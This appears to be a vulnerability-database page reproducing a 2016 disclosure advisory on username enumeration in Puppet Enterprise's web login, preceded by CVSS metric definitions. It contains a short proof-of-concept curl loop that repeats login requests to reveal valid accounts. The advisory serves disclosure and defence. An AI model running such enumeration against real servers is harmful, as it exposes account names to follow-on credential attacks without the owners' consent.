The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Puppet Enterprise Web Interface User Enumeration[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/PUPPET-USER-ENUMERATION.txt
[+] ISR: ApparitionSec
Vendor:
==============
www.puppet.com
Product:
===============================
Puppet Enterprise Web Interface
Tested in version < 2016.4.0
Puppet Enterprise is the leading platform for automatically delivering,
operating and securing your infrastructure.
Vulnerability Type:
===================
User Enumeration
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
By sending remote HTTP request to Puppet Enterprise Web Interface it is
possible to enumerate valid user account names by sending more than 10
requests.
If user does not exist we will continue to get 'Authentication failed.'
HTTP response from the victim server. However, if the user does exist we
will no longer receive such a message confirming the user exists.
Exploit code(s):
================
Send login request 11 times, after 10 we will know if user exists or not.
FOR /l %i in (1,1,11) DO curl -k
https://victim-puppet-server/auth/login?redirect=Enum-Users -d
username=IDONTEXIST -d password=1
HTTP 200 OK
'Authentication failed.'
FOR /l %i in (1,1,11) DO curl -k
https://victim-puppet-server/auth/login?redirect=Enum-Users -d
username=BOZO -d password=1
HTTP 200 OK
Disclosure Timeline:
=======================================
Vendor Notification: August 23, 2016
Vendor Acknowledgement: August 23, 2016
Vendor Releases Version: 2016.4.0
October 17, 2016 : Public Disclosure
Severity Level:
================
Low
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum